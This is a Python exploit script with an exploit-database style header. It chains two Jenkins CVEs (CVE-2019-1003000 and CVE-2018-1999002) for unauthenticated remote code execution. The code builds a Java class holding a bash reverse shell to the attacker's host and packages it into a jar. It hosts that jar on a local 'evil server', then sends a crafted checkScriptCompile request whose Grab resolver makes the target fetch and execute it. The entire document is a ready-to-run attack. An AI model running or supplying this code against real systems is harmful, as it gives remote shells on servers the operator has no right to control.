1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153 | #!/usr/bin/env python
#
# Exploit Title : jenkins-preauth-rce-exploit.py
# Date : 02/23/2019
# Authors : wetw0rk & 0xtavian
# Vendor Homepage : https://jenkins.oi
# Software Link : https://jenkins.io/download/
# Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60,
#
# Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil
#
# Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins
# Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
#
# Vulnerable Plugins -
# Pipeline: Declarative Plugin up to and including 1.3.4
# Pipeline: Groovy Plugin up to and including 2.61
# Script Security Plugin up to and including 1.49
#
#
# Credit Goes To @orange_8361 & adamyordan
#
# http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
# http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
# https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
import os
import sys
import requests
import random
import SimpleHTTPServer
import SocketServer
import multiprocessing
class exploit_ya_bish():
def __init__(self, rhost, rport, lhost, lport):
self.rhost = rhost
self.rport = rport
self.lhost = lhost
self.lport = lport
self.pname = ""
# evil_server: server to host the payload
def evil_server(self):
handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((self.lhost, 80), handler)
httpd.serve_forever()
return
# gen_payload: generate payload and start web server
def gen_payload(self):
self.pname = ''.join(
[
random.choice(
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
) for i in range(random.randint(1, 25))
]
)
home = os.getcwd()
os.makedirs("www/package/%s/1/" % self.pname)
os.chdir("www/package/%s/1/" % self.pname)
pfile = 'public class %s {\n' % self.pname
pfile += ' public %s() {\n' % self.pname
pfile += ' try {\n'
pfile += ' String payload = "bash -i >& /dev/tcp/{:s}/{:s} 0>&1";\n'.format(self.lhost, self.lport)
pfile += ' String[] cmds = { "/bin/bash", "-c", payload };\n'
pfile += ' java.lang.Runtime.getRuntime().exec(cmds);\n'
pfile += ' } catch (Exception e) {\n'
pfile += ' }\n'
pfile += ' }\n'
pfile += '}\n'
print "{1} generating payload"
fd = open('{:s}.java'.format(self.pname), 'w')
fd.write(pfile)
fd.close()
os.makedirs("META-INF/services/")
os.system("echo %s > META-INF/services/org.codehaus.groovy.plugins.Runners" % self.pname)
os.system("javac -Xlint:-options -source 6 -target 1.6 %s.java" % self.pname)
os.system("jar cf %s-1.jar ." % self.pname)
print "{2} starting evil payload server"
os.chdir("%s/www" % home)
jobs = []
for i in range(1):
p = multiprocessing.Process(target=self.evil_server)
jobs.append(p)
p.start()
os.chdir(home)
return
def exploit(self):
self.gen_payload()
cookies = \
{
'JSESSIONID.wetw0rk!': 'XXXXXXXXXXXXXXXXXXXXXXXX',
}
headers = \
{
'Host': '{:s}:{:s}'.format(self.rhost, self.rport),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}
print "{3} as easy as 1,2,3 triggering now"
response = requests.get(
(
'http://{:s}:{:s}/securityRealm/user/admin/descriptorByName/'
'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value='
'@GrabConfig(disableChecksums=true)%0a'
'@GrabResolver(name=%27{:s}%27,%20root=%27http://{:s}%27)%0a'
'@Grab(group=%27package%27,%20module=%27{:s}%27,%20version=%271%27)%0aimport%20Payload;'.format(
self.rhost, self.rport,
self.pname,
self.lhost,
self.pname
)
),
headers=headers,
cookies=cookies,
verify=False
)
return
def main():
try:
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
except:
print "Usage: ./%s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
print "MAKE SURE U GOT A LISTENER HOMIE!!"
exit(-1)
start = exploit_ya_bish(rhost,rport,lhost,lport)
start.exploit()
os.system("rm -r www")
main()
|